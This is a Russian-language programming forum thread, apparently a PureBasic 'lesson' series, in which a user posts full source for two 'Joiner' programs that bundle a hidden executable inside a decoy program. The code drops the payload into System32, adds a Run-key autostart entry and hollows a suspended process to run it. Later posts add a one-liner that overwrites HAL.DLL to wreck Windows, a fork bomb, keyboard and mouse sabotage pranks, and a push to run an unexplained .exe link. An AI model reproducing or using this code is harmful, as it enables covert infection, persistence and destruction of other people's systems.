![]() |
Здравствуйте, гость ( Вход | Регистрация )
![]() ![]() |
![]() |
![]()
Сообщение
#21
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Procedure Lesson3()
На прошлом занятии я рассказала вам о простейшем способы автоматического внедрения кода на чужой компьютер - иньекторах. Теперь же настало время для изучения более продвинутого механизма - Joiner'ов. Вообще-то в сети, при желании, можно найти немало готовых программ подобного рода, но лично я предпочитаю все делать своими руками, чего и вам советую ![]() Итак, открываем IDE, и пишем следующий код: Код DataSection С помощью вышуказанного кода можно обьединить (отсюда и название DNA: IncludeBinary "путь до иньектируемого EXE" End_DNA: EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner" EndDataSection Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S) Define Hnd RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0) RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat)) RegCloseKey_(Hnd) EndProcedure Define SysDir.S = Space(#MAX_PATH) GetSystemDirectory_(SysDir, #MAX_PATH) SysDir = PeekS(@SysDir) If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf SysDir + "MC.EXE" SetFileAttributes(SysDir, #PB_FileSystem_Normal) CreateFile(0, SysDir) WriteData(0, ?DNA, ?End_DNA - ?DNA) CloseFile(0) RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir) Prototype.l ZwUnmapViewOfSectionPT(Processhandle.l,BaseAdress.l) ntdll = GetModuleHandle_("ntdll.dll") Global ZwUnmapViewOfSection_.ZwUnmapViewOfSectionPT = GetProcAddress_(ntdll,"ZwUnmapViewOfSection") Global WinPath.s Structure IMAGE_SECTION_HEADER Name.b[8] StructureUnion PhysicalAddress.l VirtualSize.l EndStructureUnion VirtualAddress.l SizeOfRawData.l PointerToRawData.l PointerToRelocations.l PointerToLinenumbers.l NumberOfRelocations.w NumberOfLinenumbers.w Characteristics.l EndStructure Procedure injectfile(lpProcessname.s, lpBuffer.l) Structure IMAGE_SECTION_HEADERS a.IMAGE_SECTION_HEADER[95] EndStructure Result.l = 0 Startupinfo.STARTUPINFO ProcessInfo.PROCESS_INFORMATION Context.CONTEXT BaseAddress.l lpNumberOfBytesRead.l lpNumberOfBytesWritten.w *NtHeaders.IMAGE_NT_HEADERS *Sections.IMAGE_SECTION_HEADERS i.l ;--- Result = #False ZeroMemory_(@StartupInfo, SizeOf(STARTUPINFO)); StartupInfo\cb = SizeOf(STARTUPINFO) StartupInfo\dwFlags = #STARTF_USESHOWWINDOW StartupInfo\wShowWindow = #SW_SHOW If CreateProcess_(lpProcessname,#NUL,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo, @ProcessInfo) Context\ContextFlags = #CONTEXT_INTEGER GetThreadContext_(ProcessInfo\hThread, Context); ReadProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesRead) If ZwUnmapViewOfSection_(ProcessInfo\hProcess,BaseAddress) >= 0 *adr.IMAGE_DOS_HEADER = lpBuffer *NtHeaders = lpBuffer + *adr\e_lfanew BaseAddress = VirtualAllocEx_(ProcessInfo\hProcess,*NtHeaders\OptionalHeader\ImageBase,*NtHeaders\OptionalHeader\SizeOfImage,#MEM_RESERVE | #MEM_COMMIT, #PAGE_READWRITE) WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress,lpBuffer,*NtHeaders\OptionalHeader\SizeOfHeaders,@lpNumberOfBytesWritten) *Sections = @*NtHeaders\OptionalHeader + *NtHeaders\FileHeader\SizeOfOptionalHeader For i = 0 To *NtHeaders\FileHeader\NumberOfSections-1 WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress+*Sections\a[i]\VirtualAddress,lpBuffer+*Sections\a[i]\PointerToRawData,*Sections\a[i]\SizeOfRawData,@lpNumberOfBytesWritten) Next WriteProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesWritten) Context\Eax = BaseAddress + *NtHeaders\OptionalHeader\AddressOfEntryPoint Result = SetThreadContext_(ProcessInfo\hThread, Context) If Result ResumeThread_(ProcessInfo\hThread) Else TerminateProcess_(ProcessInfo\hProcess, 0); CloseHandle_(ProcessInfo\hProcess) CloseHandle_(ProcessInfo\hThread) EndIf EndIf EndIf EndProcedure InjectFile(ProgramFilename(), ?EXE) ![]() ![]() ![]() ![]() EndProcedure -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#22
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
2 Paladin 2006
запусти эту прогу ![]() bournwog.narod.ru/programs/example.exe -------------------- |
|
|
![]() ![]()
Сообщение
#23
|
|
![]() Immortal Сообщений: 1 137 Спасибо сказали: 269 раз ![]() |
Цитата(Chrono Syndrome @ 27 Dec 2006, 16:58) Вне занятий: Пока писала 3ий урок, впомнила один прикольчик ![]() Код RunProgram(ProgramFilename()) RunProgram(ProgramFilename()) Попробуйте запустить, вас ждут незабываемые ощущения ![]() Вообще достаточно непонятно, почему в Windows нет нормальных средств управления процессами... А нажатие на три кнопки вызывает красивое навороченное окно, которое часто именно в тех случаях, когда оно действительно нужно, не приводит к результату, когда возникает проблема с ресурсами (загрузка проца и памяти, или блокировка GUI)... Впрочем, это оффтоп... -------------------- ![]() |
|
|
![]()
Сообщение
#24
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Цитата Вообще достаточно непонятно, почему в Windows нет нормальных средств управления процессами... Есть Task Manager'ы от сторонних разработчиков. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#25
|
|
![]() Паладин-Урук Сообщений: 582 Спасибо сказали: 2 раза ![]() |
Цитата 2 Paladin 2006 запусти эту прогу , сразу говорю она не прописываться в автозагрузку и не сканирует файлы на диске bournwog.narod.ru/programs/example.exe А можешь нормальную ссылку дать? -------------------- ![]() Кораблик, кораблик унеси меня в царство мертвых ![]() Faber est suae quisque furtunae |
|
|
![]()
Сообщение
#26
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Alternative Joiner (дополнение к 3ему уроку):
У описанного в 3м уроке Joiner'а есть одна интересная особенность: он запускает оригинальную программу (ну, под которую он маскируется) непосредственно из памяти. Это, конечно, хорошо и правильно, но не всегда. Как я уже писала, с прогам под DOS (и некоторыми, спецефическими, под Windows) такой фокус не пройдет (или просто не будут работать, или будут, но так, что лучше бы не работали). Есть еще один ньюанс: при таком способе запуска не передаются параметры командной строки. Рассмотрим альтернативный вариант Joiner'а, лишенный этих недостатков (но имеющий свои ![]() Код DataSection DNA: IncludeBinary "путь до иньектируемого EXE" End_DNA: EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner" End_EXE: EndDataSection Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S) Define Hnd RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0) RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat)) RegCloseKey_(Hnd) EndProcedure Define SysDir.S = Space(#MAX_PATH) GetSystemDirectory_(SysDir, #MAX_PATH) SysDir = PeekS(@SysDir) If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf SysDir + "MC.EXE" SetFileAttributes(SysDir, #PB_FileSystem_Normal) CreateFile(0, SysDir) WriteData(0, ?DNA, ?End_DNA - ?DNA) CloseFile(0) RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir) Macro PReturn : ProcedureReturn : EndMacro Procedure.S CombinePath(Dir.S, FName.S) If Right(Dir, 1) <> "\" : Dir + "\" : EndIf PReturn Dir + FName EndProcedure Procedure.S TempFile(Dir.S, Ext.S) Define FName.S, TOFix Repeat : FName = "" TOFix = Random(39) For I = 0 To TOFix FName + Chr(Random(25) + 65) Next I FName = CombinePath(Dir, FName + "." + Ext) Until FileSize(FName) = -1 PReturn FName EndProcedure Procedure.S CmdLine() CL.S = PeekS(GetCommandLine_()) CutSize = Len(ProgramFilename()) If Left(CL, 1) = Chr('"') : CutSize + 2 : EndIf CL = Trim(Right(CL, Len(CL) - CutSize)) PReturn CL EndProcedure Define CurDir.S = GetPathPart(ProgramFilename()), FNAme.S = TempFile(CurDir, ".EXE") CreateFile(0, FName) WriteData(0, ?EXE, ?End_EXE - ?EXE) CloseFile(0) RunProgram(FName, CmdLine(), CurDir, #PB_Program_Wait) SetFileAttributes(FName, #PB_FileSystem_Normal) DeleteFile(FName) Настройка аналагоичная. В отличае от предыдущего Joiner'а, этот использует метод распаковки программы во временный файл (со случайным именем), и запуск уже оттуда (после окончания работы программы файл уничтожается). Этим методом можно запускать не работающие с первым Joiner'ом программы. Впрочем, есть проги, которые как раз не заработают под этим Joiner'ом. Думайте сами, решайте сами ![]() -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#27
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Убить Винду одной процедурой...
Код RunProgram("Cmd.EXE", "/C ECHO Винда MUST DIE XD !!! > %SYSTEMROOT%\SYSTEM32\HAL.DLL", "") Прим.: Работает только под Win2K+. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#28
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Пьяная, пьяная мишь... ©
Код Define X, Y, X1, Y1, Z Macro GetCoords() X = DesktopMouseX() Y = DesktopMouseY() EndMacro GetCoords() Repeat Delay(50) X1 = DesktopMouseX() Y1 = DesktopMouseY() Z = Random(5) SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z) GetCoords() ForEver Мышку начнет заносить как пьяную ![]() -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#29
|
|
![]() Паладин-Урук Сообщений: 582 Спасибо сказали: 2 раза ![]() |
Токо не включайте два раза подряд. А то она упадет и её не поднять будет
![]() -------------------- ![]() Кораблик, кораблик унеси меня в царство мертвых ![]() Faber est suae quisque furtunae |
|
|
![]()
Сообщение
#30
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
Цитата(Paladin 2006 @ 29 Dec 2006, 12:10) А можешь нормальную ссылку дать? так чтоли? http://bournwog.narod.ru/programs/example.exe -------------------- |
|
|
Гость_Berserker_* |
![]() ![]()
Сообщение
#31
|
![]() |
Только такие приколы не всегда проходят. Паладин, стваь себе Safe'n'sec
и всё ок. Он сообщит при любой попытке изменить память процессов или установке хука, можно поставить сверхконтроль над реестром и т.д. Разумеется от мышки он не спасёт ![]() |
|
|
![]()
Сообщение
#32
|
|
![]() В миру GrayFace Сообщений: 2 529 Спасибо сказали: 817 раз ![]() |
Цитата(Chrono Syndrome @ 27 Dec 2006, 19:58) Вне занятий: Пока писала 3ий урок, впомнила один прикольчик ![]() Код RunProgram(ProgramFilename()) RunProgram(ProgramFilename()) Попробуйте запустить, вас ждут незабываемые ощущения ![]() У меня друг так сделал на JavaScript - вот это весело ![]() Еще из серии завешиванья Винды: SendMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_MINIMIZE, 0); Потом можно нажать Ctrl+Alt+Del и выйти из сеанса. Следующий вошедший будет несколько удивлен... -------------------- ДНК банана на 50% состоит из человека.
|
|
|
![]()
Сообщение
#33
|
|
![]() Великий Змий Сообщений: 279 Спасибо сказали: 2 раза ![]() |
А как джаве?
![]() |
|
|
![]()
Сообщение
#34
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Mix обоих мышиных приколов:
Код Global FSwap = -1, X, Y, X1, Y1, Z Macro GetCoords() X = DesktopMouseX() Y = DesktopMouseY() EndMacro Procedure ButtonSwitcher(A) Repeat : SwapMouseButton_(FSwap) FSwap = ~FSwap Delay((Random(4) + 1) * 1000) ForEver EndProcedure CreateThread(@ButtonSwitcher(), 0) GetCoords() Repeat Delay(50) X1 = DesktopMouseX() Y1 = DesktopMouseY() Z = Random(5) SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z) GetCoords() ForEver Прим.: Вроде как работает и с отключенным threadsafe... -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#35
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Развлекаемся с клавой...
Небольшая, но прикольная программка, каждые 15 секунд имитирующая нажатие случайной (от A до Z) клавиши (представляете сколько, эдак, через пол-часика, очепяток набереться ![]() Код #A = 'A'
#Z = 'Z' #Second = 1000;MS Macro Rnd() Random(#Z - #A) + #A EndMacro Repeat Define Key = Rnd() keybd_event_(Key, 0, 0, 0) keybd_event_(Key, 0, #KEYEVENTF_KEYUP, 0) Delay(15 * #Second) ForEver -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#36
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз ![]() |
вообще-то она повторяет нажатие буквы каждые 15 секунд (15 в delay).
и нафиг сколько переменных лишних? можно вообще без переменных. |
|
|
![]()
Сообщение
#37
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Цитата вообще-то она повторяет нажатие буквы каждые 15 секунд (15 в delay). Сорри, очепятка ![]() Цитата и нафиг сколько переменных лишних? можно вообще без переменных. Ну, вообще-то там только одна переменная - Key, и мне, честно говоря, весьма интересно: как же это ты собираешся без нее обойтись ? -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#38
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз ![]() |
а че такое #A, #Z, #Seconds?
как раз только одной переменной и можно обойтись. сктати код можно и компактней сделать. Код Define Key Repeat Key = Random('Z' - 'A') + 'A' keybd_event_(Key, 0, 0, 0) keybd_event_(Key, 0, #KEYEVENTF_KEYUP, 0) Delay(10000) ForEver и зачем переменную много раз обьявлять? |
|
|
![]()
Сообщение
#39
|
|
![]() strange thing Сообщений: 2 586 Спасибо сказали: 94 раза ![]() |
но так же забавнее
-------------------- anyway the wind blows...
|
|
|
![]()
Сообщение
#40
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз ![]() |
хы. а потом прога вылетит
![]() |
|
|
![]() ![]() |
Текстовая версия | Сейчас: 9 October 2025 - 12:42 |
Copyright by Алексей Крючков
![]() Programming by Degtyarev Dmitry |
|